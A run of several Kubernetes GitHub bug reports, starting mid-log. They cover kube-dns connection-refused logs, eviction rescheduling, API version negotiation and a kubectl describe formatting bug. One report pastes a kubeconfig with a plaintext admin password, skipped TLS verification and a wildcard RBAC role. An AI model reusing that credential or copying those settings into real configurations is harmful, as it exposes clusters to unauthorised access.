dns.go:555  could not find endpoints for service \ kube-prometheus-exporter-kube-etcd\  in namespace \ kube-system\ . dns records will be created once endpoints show up.\r i0508 13:55:58.269573       1 dns.go:555  could not find endpoints for service \ kube-prometheus-exporter-kube-scheduler\  in namespace \ kube-system\ . dns records will be created once endpoints show up.\r i0508 13:55:59.077241       1 dns.go:555  could not find endpoints for service \ alertmanager-operated\  in namespace \ monitoring\ . dns records will be created once endpoints show up.\r i0508 13:55:59.510865       1 dns.go:555  could not find endpoints for service \ prometheus-operated\  in namespace \ monitoring\ . dns records will be created once endpoints show up.\r i0508 13:58:43.933719       1 dns.go:555  could not find endpoints for service \ kubelet\  in namespace \ kube-system\ . dns records will be created once endpoints show up.\r i0509 11:42:49.391464       1 dns.go:555  could not find endpoints for service \ elasticsearch1-elasticsearch-master\  in namespace \ default\ . dns records will be created once endpoints show up.\r i0509 11:46:50.183380       1 dns.go:555  could not find endpoints for service \ elasticsearch1-elasticsearch-master\  in namespace \ default\ . dns records will be created once endpoints show up.\r e0510 07:46:26.806330       1 streamwatcher.go:109  unable to decode an event from the watch stream: http2: server sent goaway and closed the connection; laststreamid=4577, errcode=no_error, debug=\ \ \r e0510 07:46:26.806914       1 streamwatcher.go:109  unable to decode an event from the watch stream: http2: server sent goaway and closed the connection; laststreamid=4577, errcode=no_error, debug=\ \ \r e0510 07:46:26.807429       1 reflector.go:304  k8s.io/dns/pkg/dns/dns.go:147: failed to watch  v1.endpoints: get https://10.96.0.1:443/api/v1/endpoints?resourceversion=2873295&timeoutseconds=372&watch=true: dial tcp 10.96.0.1:443: getsockopt: connection refused\r e0510 07:46:26.807534       1 reflector.go:304  k8s.io/dns/pkg/dns/dns.go:150: failed to watch  v1.service: get https://10.96.0.1:443/api/v1/services?resourceversion=2871303&timeoutseconds=404&watch=true: dial tcp 10.96.0.1:443: getsockopt: connection refused\r e0510 07:46:27.808448       1 reflector.go:201  k8s.io/dns/pkg/dns/dns.go:147: failed to list  v1.endpoints: get https://10.96.0.1:443/api/v1/endpoints?resourceversion=0: dial tcp 10.96.0.1:443: getsockopt: connection refused\r e0510 07:46:27.810056       1 reflector.go:201  k8s.io/dns/pkg/dns/dns.go:150: failed to list  v1.service: get https://10.96.0.1:443/api/v1/services?resourceversion=0: dial tcp 10.96.0.1:443: getsockopt: connection refused\r e0510 07:46:28.809145       1 reflector.go:201  k8s.io/dns/pkg/dns/dns.go:147: failed to list  v1.endpoints: get https://10.96.0.1:443/api/v1/endpoints?resourceversion=0: dial tcp 10.96.0.1:443: getsockopt: connection refused\r e0510 07:46:28.810597       1 reflector.go:201  k8s.io/dns/pkg/dns/dns.go:150: failed to list  v1.service: get https://10.96.0.1:443/api/v1/services?resourceversion=0: dial tcp 10.96.0.1:443: getsockopt: connection refused\r e0510 07:46:29.809965       1 reflector.go:201  k8s.io/dns/pkg/dns/dns.go:147: failed to list  v1.endpoints: get https://10.96.0.1:443/api/v1/endpoints?resourceversion=0: dial tcp 10.96.0.1:443: getsockopt: connection refused\r e0510 07:46:29.811348       1 reflector.go:201  k8s.io/dns/pkg/dns/dns.go:150: failed to list  v1.service: get https://10.96.0.1:443/api/v1/services?resourceversion=0: dial tcp 10.96.0.1:443: getsockopt: connection refused\r i0510 10:56:18.110399       1 dns.go:555  could not find endpoints for service \ kube-prometheus-exporter-kube-controller-manager\  in namespace \ kube-system\ . dns records will be created once endpoints show up.\r i0510 10:56:18.124307       1 dns.go:555  could not find endpoints for service \ kube-prometheus-exporter-kube-dns\  in namespace \ kube-system\ . dns records will be created once endpoints show up.\r i0510 10:56:18.139377       1 dns.go:555  could not find endpoints for service \ kube-prometheus-exporter-kube-etcd\  in namespace \ kube-system\ . dns records will be created once endpoints show up.\r i0510 10:56:18.148449       1 dns.go:555  could not find endpoints for service \ kube-prometheus-exporter-kube-scheduler\  in namespace \ kube-system\ . dns records will be created once endpoints show up.\r i0510 11:04:15.143798       1 dns.go:555  could not find endpoints for service \ kube-prometheus-exporter-kube-controller-manager\  in namespace \ kube-system\ . dns records will be created once endpoints show up.\r i0510 11:04:15.145804       1 dns.go:555  could not find endpoints for service \ kube-prometheus-exporter-kube-dns\  in namespace \ kube-system\ . dns records will be created once endpoints show up.\r i0510 11:04:15.161374       1 dns.go:555  could not find endpoints for service \ kube-prometheus-exporter-kube-etcd\  in namespace \ kube-system\ . dns records will be created once endpoints show up.\r i0510 11:04:15.169607       1 dns.go:555  could not find endpoints for service \ kube-prometheus-exporter-kube-scheduler\  in namespace \ kube-system\ . dns records will be created once endpoints show up.\r i0510 11:52:53.819550       1 dns.go:555  could not find endpoints for service \ kube-prometheus-exporter-kube-controller-manager\  in namespace \ kube-system\ . dns records will be created once endpoints show up.\r i0510 11:52:53.829607       1 dns.go:555  could not find endpoints for service \ kube-prometheus-exporter-kube-dns\  in namespace \ kube-system\ . dns records will be created once endpoints show up.\r i0510 11:52:53.837733       1 dns.go:555  could not find endpoints for service \ kube-prometheus-exporter-kube-etcd\  in namespace \ kube-system\ . dns records will be created once endpoints show up.\r i0510 11:52:53.926769       1 dns.go:555  could not find endpoints for service \ kube-prometheus-exporter-kube-scheduler\  in namespace \ kube-system\ . dns records will be created once endpoints show up.\r i0510 11:56:41.104735       1 dns.go:555  could not find endpoints for service \ kube-prometheus-exporter-kube-controller-manager\  in namespace \ kube-system\ . dns records will be created once endpoints show up.\r i0510 11:56:41.129523       1 dns.go:555  could not find endpoints for service \ kube-prometheus-exporter-kube-dns\  in namespace \ kube-system\ . dns records will be created once endpoints show up.\r i0510 11:56:41.136011       1 dns.go:555  could not find endpoints for service \ kube-prometheus-exporter-kube-etcd\  in namespace \ kube-system\ . dns records will be created once endpoints show up.\r i0510 11:56:41.144351       1 dns.go:555  could not find endpoints for service \ kube-prometheus-exporter-kube-scheduler\  in namespace \ kube-system\ . dns records will be created once endpoints show up.\r i0510 12:14:56.835225       1 dns.go:555  could not find endpoints for service \ kube-prometheus-exporter-kube-controller-manager\  in namespace \ kube-system\ . dns records will be created once endpoints show up.\r i0510 12:14:56.843672       1 dns.go:555  could not find endpoints for service \ kube-prometheus-exporter-kube-dns\  in namespace \ kube-system\ . dns records will be created once endpoints show up.\r i0510 12:14:56.872678       1 dns.go:555  could not find endpoints for service \ kube-prometheus-exporter-kube-etcd\  in namespace \ kube-system\ . dns records will be created once endpoints show up.\r i0510 12:14:56.971302       1 dns.go:555  could not find endpoints for service \ kube-prometheus-exporter-kube-scheduler\  in namespace \ kube-system\ . dns records will be created once endpoints show up.\r i0512 09:56:37.099212       1 dns.go:555  could not find endpoints for service \ kube-prometheus-exporter-kube-controller-manager\  in namespace \ kube-system\ . dns records will be created once endpoints show up.\r i0512 09:56:37.214327       1 dns.go:555  could not find endpoints for service \ kube-prometheus-exporter-kube-dns\  in namespace \ kube-system\ . dns records will be created once endpoints show up.\r i0512 09:56:37.232606       1 dns.go:555  could not find endpoints for service \ kube-prometheus-exporter-kube-etcd\  in namespace \ kube-system\ . dns records will be created once endpoints show up.\r i0512 09:56:37.264826       1 dns.go:555  could not find endpoints for service \ kube-prometheus-exporter-kube-scheduler\  in namespace \ kube-system\ . dns records will be created once endpoints show up.\r i0512 10:37:39.438895       1 streamwatcher.go:103  unexpected eof during watch stream event decoding: unexpected eof\r i0512 10:37:39.439338       1 streamwatcher.go:103  unexpected eof during watch stream event decoding: unexpected eof\r w0512 10:37:39.441624       1 reflector.go:323  k8s.io/dns/pkg/dns/dns.go:147: watch of  v1.endpoints ended with: very short watch\r w0512 10:37:39.441816       1 reflector.go:323  k8s.io/dns/pkg/dns/dns.go:150: watch of  v1.service ended with: very short watch\r e0512 10:37:40.442638       1 reflector.go:201  k8s.io/dns/pkg/dns/dns.go:150: failed to list  v1.service: get https://10.96.0.1:443/api/v1/services?resourceversion=0: dial tcp 10.96.0.1:443: getsockopt: connection refused\r e0512 10:37:40.443237       1 reflector.go:201  k8s.io/dns/pkg/dns/dns.go:147: failed to list  v1.endpoints: get https://10.96.0.1:443/api/v1/endpoints?resourceversion=0: dial tcp 10.96.0.1:443: getsockopt: connection refused\r e0512 10:37:41.443225       1 reflector.go:201  k8s.io/dns/pkg/dns/dns.go:150: failed to list  v1.service: get https://10.96.0.1:443/api/v1/services?resourceversion=0: dial tcp 10.96.0.1:443: getsockopt: connection refused\r e0512 10:37:41.444574       1 reflector.go:201  k8s.io/dns/pkg/dns/dns.go:147: failed to list  v1.endpoints: get https://10.96.0.1:443/api/v1/endpoints?resourceversion=0: dial tcp 10.96.0.1:443: getsockopt: connection refused\r e0512 10:37:42.443995       1 reflector.go:201  k8s.io/dns/pkg/dns/dns.go:150: failed to list  v1.service: get https://10.96.0.1:443/api/v1/services?resourceversion=0: dial tcp 10.96.0.1:443: getsockopt: connection refused\r e0512 10:37:42.445208       1 reflector.go:201  k8s.io/dns/pkg/dns/dns.go:147: failed to list  v1.endpoints: get https://10.96.0.1:443/api/v1/endpoints?resourceversion=0: dial tcp 10.96.0.1:443: getsockopt: connection refused\r e0512 10:37:43.444763       1 reflector.go:201  k8s.io/dns/pkg/dns/dns.go:150: failed to list  v1.service: get https://10.96.0.1:443/api/v1/services?resourceversion=0: dial tcp 10.96.0.1:443: getsockopt: connection refused\r e0512 10:37:43.445806       1 reflector.go:201  k8s.io/dns/pkg/dns/dns.go:147: failed to list  v1.endpoints: get https://10.96.0.1:443/api/v1/endpoints?resourceversion=0: dial tcp 10.96.0.1:443: getsockopt: connection refused\r e0512 10:37:44.445667       1 reflector.go:201  k8s.io/dns/pkg/dns/dns.go:150: failed to list  v1.service: get https://10.96.0.1:443/api/v1/services?resourceversion=0: dial tcp 10.96.0.1:443: getsockopt: connection refused\r e0512 10:37:44.446213       1 reflector.go:201  k8s.io/dns/pkg/dns/dns.go:147: failed to list  v1.endpoints: get https://10.96.0.1:443/api/v1/endpoints?resourceversion=0: dial tcp 10.96.0.1:443: getsockopt: connection refused\r ...\r e0512 11:05:48.441604       1 reflector.go:201  k8s.io/dns/pkg/dns/dns.go:147: failed to list  v1.endpoints: get https://10.96.0.1:443/api/v1/endpoints?resourceversion=0: dial tcp 10.96.0.1:443: getsockopt: connection refused\r e0512 11:05:49.441173       1 reflector.go:201  k8s.io/dns/pkg/dns/dns.go:150: failed to list  v1.service: get https://10.96.0.1:443/api/v1/services?resourceversion=0: dial tcp 10.96.0.1:443: getsockopt: connection refused\r e0512 11:05:49.442301       1 reflector.go:201  k8s.io/dns/pkg/dns/dns.go:147: failed to list  v1.endpoints: get https://10.96.0.1:443/api/v1/endpoints?resourceversion=0: dial tcp 10.96.0.1:443: getsockopt: connection refused\r e0512 11:05:50.442084       1 reflector.go:201  k8s.io/dns/pkg/dns/dns.go:150: failed to list  v1.service: get https://10.96.0.1:443/api/v1/services?resourceversion=0: dial tcp 10.96.0.1:443: getsockopt: connection refused\r e0512 11:05:50.443142       1 reflector.go:201  k8s.io/dns/pkg/dns/dns.go:147: failed to list  v1.endpoints: get https://10.96.0.1:443/api/v1/endpoints?resourceversion=0: dial tcp 10.96.0.1:443: getsockopt: connection refused\r e0512 11:05:51.442860       1 reflector.go:201  k8s.io/dns/pkg/dns/dns.go:150: failed to list  v1.service: get https://10.96.0.1:443/api/v1/services?resourceversion=0: dial tcp 10.96.0.1:443: getsockopt: connection refused\r e0512 11:05:51.443615       1 reflector.go:201  k8s.io/dns/pkg/dns/dns.go:147: failed to list  v1.endpoints: get https://10.96.0.1:443/api/v1/endpoints?resourceversion=0: dial tcp 10.96.0.1:443: getsockopt: connection refused\r e0512 11:05:52.443690       1 reflector.go:201  k8s.io/dns/pkg/dns/dns.go:150: failed to list  v1.service: get https://10.96.0.1:443/api/v1/services?resourceversion=0: dial tcp 10.96.0.1:443: getsockopt: connection refused\r e0512 11:05:52.444521       1 reflector.go:201  k8s.io/dns/pkg/dns/dns.go:147: failed to list  v1.endpoints: get https://10.96.0.1:443/api/v1/endpoints?resourceversion=0: dial tcp 10.96.0.1:443: getsockopt: connection refused\r e0512 11:05:53.444434       1 reflector.go:201  k8s.io/dns/pkg/dns/dns.go:150: failed to list  v1.service: get https://10.96.0.1:443/api/v1/services?resourceversion=0: dial tcp 10.96.0.1:443: getsockopt: connection refused\r e0512 11:05:53.445348       1 reflector.go:201  k8s.io/dns/pkg/dns/dns.go:147: failed to list  v1.endpoints: get https://10.96.0.1:443/api/v1/endpoints?resourceversion=0: dial tcp 10.96.0.1:443: getsockopt: connection refused\r e0512 11:05:54.445180       1 reflector.go:201  k8s.io/dns/pkg/dns/dns.go:150: failed to list  v1.service: get https://10.96.0.1:443/api/v1/services?resourceversion=0: dial tcp 10.96.0.1:443: getsockopt: connection refused\r e0512 11:05:54.446029       1 reflector.go:201  k8s.io/dns/pkg/dns/dns.go:147: failed to list  v1.endpoints: get https://10.96.0.1:443/api/v1/endpoints?resourceversion=0: dial tcp 10.96.0.1:443: getsockopt: connection refused\r e0512 11:05:55.446059       1 reflector.go:201  k8s.io/dns/pkg/dns/dns.go:150: failed to list  v1.service: get https://10.96.0.1:443/api/v1/services?resourceversion=0: dial tcp 10.96.0.1:443: getsockopt: connection refused\r e0512 11:05:55.447005       1 reflector.go:201  k8s.io/dns/pkg/dns/dns.go:147: failed to list  v1.endpoints: get https://10.96.0.1:443/api/v1/endpoints?resourceversion=0: dial tcp 10.96.0.1:443: getsockopt: connection refused\r e0512 11:05:56.446853       1 reflector.go:201  k8s.io/dns/pkg/dns/dns.go:150: failed to list  v1.service: get https://10.96.0.1:443/api/v1/services?resourceversion=0: dial tcp 10.96.0.1:443: getsockopt: connection refused\r e0512 11:05:56.447935       1 reflector.go:201  k8s.io/dns/pkg/dns/dns.go:147: failed to list  v1.endpoints: get https://10.96.0.1:443/api/v1/endpoints?resourceversion=0: dial tcp 10.96.0.1:443: getsockopt: connection refused\r e0512 11:05:57.447703       1 reflector.go:201  k8s.io/dns/pkg/dns/dns.go:150: failed to list  v1.service: get https://10.96.0.1:443/api/v1/services?resourceversion=0: dial tcp 10.96.0.1:443: getsockopt: connection refused\r e0512 11:05:57.448410       1 reflector.go:201  k8s.io/dns/pkg/dns/dns.go:147: failed to list  v1.endpoints: get https://10.96.0.1:443/api/v1/endpoints?resourceversion=0: dial tcp 10.96.0.1:443: getsockopt: connection refused\r    \r    \r $ kubectl logs --namespace=kube-system $ kubectl get pods --namespace=kube-system -l k8s-app=kube-dns -o name  -c dnsmasq\r i0504 08:49:59.299959       1 main.go:76  opts: {{/usr/sbin/dnsmasq  -k --cache-size=1000 --no-negcache --log-facility=- --server=/cluster.local/127.0.0.1 10053 --server=/in-addr.arpa/127.0.0.1 10053 --server=/ip6.arpa/127.0.0.1 10053  true} /etc/k8s/dns/dnsmasq-nanny 10000000000}\r i0504 08:49:59.527115       1 nanny.go:94  starting dnsmasq  -k --cache-size=1000 --no-negcache --log-facility=- --server=/cluster.local/127.0.0.1 10053 --server=/in-addr.arpa/127.0.0.1 10053 --server=/ip6.arpa/127.0.0.1 10053 \r i0504 08:50:00.426407       1 nanny.go:116  dnsmasq 19 : started, version 2.78 cachesize 1000\r i0504 08:50:00.426441       1 nanny.go:116  dnsmasq 19 : compile time options: ipv6 gnu-getopt no-dbus no-i18n no-idn dhcp dhcpv6 no-lua tftp no-conntrack ipset auth no-dnssec loop-detect inotify\r i0504 08:50:00.426419       1 nanny.go:119  \r i0504 08:50:00.426452       1 nanny.go:116  dnsmasq 19 : using nameserver 127.0.0.1 10053 for domain ip6.arpa \r i0504 08:50:00.426469       1 nanny.go:116  dnsmasq 19 : using nameserver 127.0.0.1 10053 for domain in-addr.arpa \r w0504 08:50:00.426463       1 nanny.go:120  got eof from stdout\r i0504 08:50:00.426475       1 nanny.go:116  dnsmasq 19 : using nameserver 127.0.0.1 10053 for domain cluster.local \r i0504 08:50:00.426486       1 nanny.go:116  dnsmasq 19 : reading /etc/resolv.conf\r i0504 08:50:00.426492       1 nanny.go:116  dnsmasq 19 : using nameserver 127.0.0.1 10053 for domain ip6.arpa \r i0504 08:50:00.426498       1 nanny.go:116  dnsmasq 19 : using nameserver 127.0.0.1 10053 for domain in-addr.arpa \r i0504 08:50:00.426503       1 nanny.go:116  dnsmasq 19 : using nameserver 127.0.0.1 10053 for domain cluster.local \r i0504 08:50:00.426511       1 nanny.go:116  dnsmasq 19 : using nameserver 192.168.88.1 53\r i0504 08:50:00.426516       1 nanny.go:116  dnsmasq 19 : using nameserver 62.112.113.170 53\r i0504 08:50:00.426521       1 nanny.go:116  dnsmasq 19 : using nameserver 62.112.106.130 53\r i0504 08:50:00.426526       1 nanny.go:116  dnsmasq 19 : read /etc/hosts - 7 addresses\r \r    \r    \r $ kubectl logs --namespace=kube-system $ kubectl get pods --namespace=kube-system -l k8s-app=kube-dns -o name  -c sidecar\r i0504 08:50:00.700437       1 main.go:51  version v1.14.8\r i0504 08:50:00.700523       1 server.go:45  starting server  options {dnsmasqport:53 dnsmasqaddr:127.0.0.1 dnsmasqpollintervalms:5000 probes: {label:kubedns server:127.0.0.1:10053 name:kubernetes.default.svc.cluster.local. interval:5s type:33} {label:dnsmasq server:127.0.0.1:53 name:kubernetes.default.svc.cluster.local. interval:5s type:33}  prometheusaddr:0.0.0.0 prometheusport:10054 prometheuspath:/metrics prometheusnamespace:kubedns} \r i0504 08:50:00.700564       1 dnsprobe.go:75  starting dnsprobe {label:kubedns server:127.0.0.1:10053 name:kubernetes.default.svc.cluster.local. interval:5s type:33}\r i0504 08:50:00.700628       1 dnsprobe.go:75  starting dnsprobe {label:dnsmasq server:127.0.0.1:53 name:kubernetes.default.svc.cluster.local. interval:5s type:33}\r \r    \r \r \r    \r $ kubectl get services --all-namespaces\r namespace       name                                                           type           cluster-ip       external-ip   port s                                       age\r ...\r kube-system     kube-dns                                                       clusterip      10.96.0.10       <none>        53/udp,53/tcp                                31d\r    \r \r @kubernetes/sig-network-test-failures\r 

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r  >  \r \r   what happened  :\r currently in gce/config-common.sh, function get-alias-range-size returns a range which is strictly bigger than log2 max pods   2 . where equal should be also acceptable. say if max pods constraint = 8, it should return /28, instead of /27.\r \r   what you expected to happen  :\r return a range which is larger or equal to the max pods constraint.\r \r   how to reproduce it  as minimally and precisely as possible   :\r take 8 as $1 param for the function.\r \r   anything else we need to know?  :\r   need to cherrypick to past versions.\r   me myself will fix it.\r

<!-- this form is for bug reports and feature requests only!\r \r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r  >  \r \r   what happened  :\r i was using k8s 1.11.1 with 1 master nodes and 2 worker nodes, and i create a deployment and the pods was deployed on one of master node, then i shutdown the worker node which have my workload which just deployed, after wait for about 5m, the pod will be evicted by taint_manager, but the new pod still scheduler on this off node.\r    \r i0811 13:56:30.660917       1 taint_manager.go:111  noexecutetaintmanager is deleting pod: default/nginx-64f497f8fd-46g9x\r i0811 13:56:30.661192       1 event.go:221  event v1.objectreference{kind:\ pod\ , namespace:\ default\ , name:\ nginx-64f497f8fd-46g9x\ , uid:\ \ , apiversion:\ \ , resourceversion:\ \ , fieldpath:\ \ } : type: 'normal' reason: 'taintmanagereviction' marking for deletion pod default/nginx-64f497f8fd-46g9x\r i0811 13:56:30.670058       1 replica_set.go:477  too few replicas for replicaset default/nginx-64f497f8fd, need 1, creating 1\r i0811 13:56:30.681793       1 event.go:221  event v1.objectreference{kind:\ replicaset\ , namespace:\ default\ , name:\ nginx-64f497f8fd\ , uid:\ 6973f5c1-9d24-11e8-a443-fa163e191c71\ , apiversion:\ apps/v1\ , resourceversion:\ 73680\ , fieldpath:\ \ } : type: 'normal' reason: 'successfulcreate' created pod: nginx-64f497f8fd-2qbth\r    \r from the log we can see that the pod was evicted by taint manager and will recreate the new one.\r \r but the new one still schedule on the failure node like below:\r    \r root@hchenxa-2:~  kubectl  get pods -owide\r name                     ready     status        restarts   age       ip           node\r nginx-64f497f8fd-2qbth   0/1       pending       0          4m        <none>       9.111.255.45\r nginx-64f497f8fd-46g9x   1/1       terminating   0          8h        10.1.104.3   9.111.255.45\r    \r \r the pod with  terminating  status was just evicted, and we can see that the new pod still be scheduled.\r \r \r   what you expected to happen  :\r when the node was notready, after evict, the new pod should be created on other available node.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.11.1\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release : ubuntu16.04\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

everytime when i run  kubectl version , i get the error:      error: failed to negotiate an api version; server supports: map  , client supports:  map authentication.k8s.io/v1beta1:{} componentconfig/v1alpha1:{} extensions/v1beta1:{}  rbac.authorization.k8s.io/v1alpha1:{} autoscaling/v1:{} batch/v2alpha1:{} v1:{} policy/v1alpha1:{}  federation/v1beta1:{} authorization.k8s.io/v1beta1:{} batch/v1:{} apps/v1alpha1:{}       version info: - ubuntu 14.04 64bit - latest version of k8s master branch - docker v1.12.1  i login shell with user  dl , and localhost is  9.91.9.130 . rbac.yaml       --- kind: \ clusterrole\  apiversion: \ rbac.authorization.k8s.io/v1alpha1\  metadata:   name: \ admin\  rules:   - apigroups:  \  \       resources:  \  \       verbs:  \  \       nonresourceurls:  \  \    --- kind: \ clusterrolebinding\  apiversion: \ rbac.authorization.k8s.io/v1alpha1\  metadata:   name: \ admin\  subjects:   - kind: \ user\      name: \ pjt\  roleref:   kind: \ clusterrole\    apiversion: \ rbac.authorization.k8s.io/v1alpha1\    name: \ admin\       .kube/config      apiversion: v1 clusters: - cluster:     insecure-skip-tls-verify: true     server: http://9.91.9.130:8080   name: ubuntu contexts: - context:     cluster: ubuntu     user: ubuntu   name: ubuntu current-context: ubuntu kind: config preferences: {} users: - name: ubuntu   user:     password: 2fo8rxxahzs3oe1h     username: admin

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-kubemark-5-gce/2167/  failed: list nodes {e2e.go}      exit status 1

42375 promised to support disabling any of the federation controllers.  however, due to the way   kubefed init   marshalls overrides  splits on commas , multi-valued overrides  separated by commas  are not supported.  this means that only a single controller can be disabled. \r \r support for multi-valued arg overrides was  discussed  https://reviewable.kubernetes.io/reviews/kubernetes/kubernetes/40917 -kc5feewrivgtrn8vv9t  on  40917.\r \r cc: @kubernetes/sig-federation-bugs

found it in  49238\r an example: https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/49238/pull-kubernetes-e2e-gce-etcd3/43197/\r \r all recent tests failed:\r https://k8s-gubernator.appspot.com/builds/kubernetes-jenkins/pr-logs/directory/pull-kubernetes-e2e-gce-etcd3?before=43287\r \r @kubernetes/test-infra-maintainers

writing an api repo, you need to check that your deep copy methods work in isolation.  we should provide a test function in apimachinery for this purpose outside of conversions.

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  \r >   \r   what happened  :\r \r annotations defined on services yaml don't get propagated to corresponding endpoints\r \r   what you expected to happen  :\r \r annotations defined on services yaml get propagated to corresponding endpoints  as it happens for labels \r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.9\r - cloud provider or hardware configuration: google cloud\r - os  e.g. from /etc/os-release : n/a\r - kernel  e.g.  uname -a  : n/a\r - install tools: n/a\r - others: n/a\r

the tests are failing in http://k8s-testgrid.appspot.com/sig-release-master-upgrade gce-1.9-master-upgrade-master\r \r  / /  /status approved-for-milestone\r /milestone v1.10\r \r cc @jdumars @jberkus\r /assign @saad-ali @childsb

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  : bug report\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r \r run\r \r     kubectl describe svc jaeger-collector\r \r got\r    \r name:              jaeger-collector\r namespace:         default\r labels:            app=jaeger\r                    chart=jaeger-0.3.5\r                    component=collector\r                    heritage=tiller\r                    jaeger-infra=collector-service\r                    release=jaeger\r annotations:       <none>\r selector:          app=jaeger,component=collector,jaeger-infra=collector-pod,release=jaeger\r type:              clusterip\r ip:                10.55.255.22\r port:              jaeger-collector-tchannel  14267/tcp\r targetport:        %!d string=tchannel /tcp\r endpoints:         10.52.1.6:14267\r port:              jaeger-collector-http  14268/tcp\r targetport:        %!d string=http /tcp\r endpoints:         10.52.1.6:14268\r port:              jaeger-collector-zipkin  9411/tcp\r targetport:        %!d string=zipkin /tcp\r endpoints:         10.52.1.6:9411\r session affinity:  none\r events:            <none>\r    \r \r   what you expected to happen  :\r \r targetport to be correctly formatted\r \r     targetport:       tchannel/tcp\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r run  kubectl describe svc jaeger-collector , any service with named ports would do i guess, here https://github.com/kubernetes/charts/blob/13f4902f412d822bdeeae8923d7df2c9aea7acd8/incubator/jaeger/readme.md was used.\r \r output of targetport to be is formatted like this\r \r     targetport:        %!d string=tchannel /tcp\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r $ kubectl version\r client version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.6\ , gitcommit:\ 6260bb08c46c31eea6cb538b34a9ceb3e406689c\ , gittreestate:\ clean\ , builddate:\ 2017-12-21t06:34:11z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8+\ , gitversion:\ v1.8.7-gke.0\ , gitcommit:\ 192ccad06d24af9828cbf42330e1d915cb586406\ , gittreestate:\ clean\ , builddate:\ 2018-01-25t21:58:21z\ , goversion:\ go1.8.3b4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration: gke\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r  > uncomment only one, leave it on its own line:\r >\r >  >  \r \r   what happened  :\r \r \r   what you expected to happen  :\r enforce azure storage account with https traffic only\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.11\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r  /assign\r \r

we need to fix this potentially flaky test and add it back to conformance suite. please see discussion in \r \r - https://github.com/kubernetes/kubernetes/pull/64240 discussion_r191465289\r - https://github.com/kubernetes/kubernetes/pull/67901 issuecomment-416414759\r \r also waiting on:\r - https://github.com/kubernetes/kubernetes/pull/67350

what happened  :\r windows pods that have  privileged: true  will still run in windows, but the  privileged  flag will be ignored. privileged containers are not supported by windows, and so some kind of error should occur.\r \r   what you expected to happen  :\r an error saying something like \ privileged containers are not supported by windows\ \r \r   how to reproduce it  as minimally and precisely as possible   :\r deploy this pod: https://gist.github.com/benmoss/bffc51601f8fcedf744ba89ddc23813d\r \r   anything else we need to know?  :\r i considered having kubelet error if  --allow-privileged  is set to true, but it looks like this flag is deprecated and will become always true in the future, if i understand the plan correctly. therefore it seems like the validation needs to happen on the pod spec itself when it's being sent to a windows node.\r \r 

too many ports and ips for users to figure out.  https://groups.google.com/forum/ !topic/google-containers/imyhmpsxdxe  cc @thockin @bprashanth @kubernetes/kubectl

gce pd docs  recommend using the  discard  option  https://cloud.google.com/compute/docs/disks/persistent-disks formatting  so unused blocks can be freed back into the cloud and performance gains realized.  rummaging through the source of the gce pd and mounter stuff in kube, it does not appear that that's being done  the old shell script version of safe_format_and_mount does, but i don't think that's used .  i haven't confirmed that it's the case at runtime for sure, though, although i will be able to shortly.

this is potentially something we could do on limit range.  /cc @kubernetes/rh-cluster-infra @kubernetes/sig-node @smarterclayton @bgrant0607

we have a fresh v1.2.3 cluster in an ha configuration. masters are in us-east1- b,c,d . all the worker nodes in us-east1-b come up and work fine. however, all nodes in us-east1- c,d  appear to register fine with the kubelet, but then immediately disappear. the logs show that these nodes successfully register but they appear to immediately re-register.  here are the logs we are seeing which go into a fail loop you can see at the bottom.      -- logs begin at wed 2016-04-27 13:50:05 utc, end at wed 2016-04-27 13:53:31 utc. -- apr 27 13:51:23 k8s-node-frontend02.c.geofeedia-qa1.internal systemd 1 : starting kubernetes worker kubelet... apr 27 13:51:23 k8s-node-frontend02.c.geofeedia-qa1.internal wget 2411 : --2016-04-27 13:51:23--  https://storage.googleapis.com/kubernetes-release/release/v1.2.3/bin/linux/amd64/kubelet apr 27 13:51:23 k8s-node-frontend02.c.geofeedia-qa1.internal wget 2411 : resolving storage.googleapis.com... 74.125.141.128, 2607:f8b0:400c:c06::80 apr 27 13:51:23 k8s-node-frontend02.c.geofeedia-qa1.internal wget 2411 : connecting to storage.googleapis.com|74.125.141.128|:443... connected. apr 27 13:51:24 k8s-node-frontend02.c.geofeedia-qa1.internal wget 2411 : 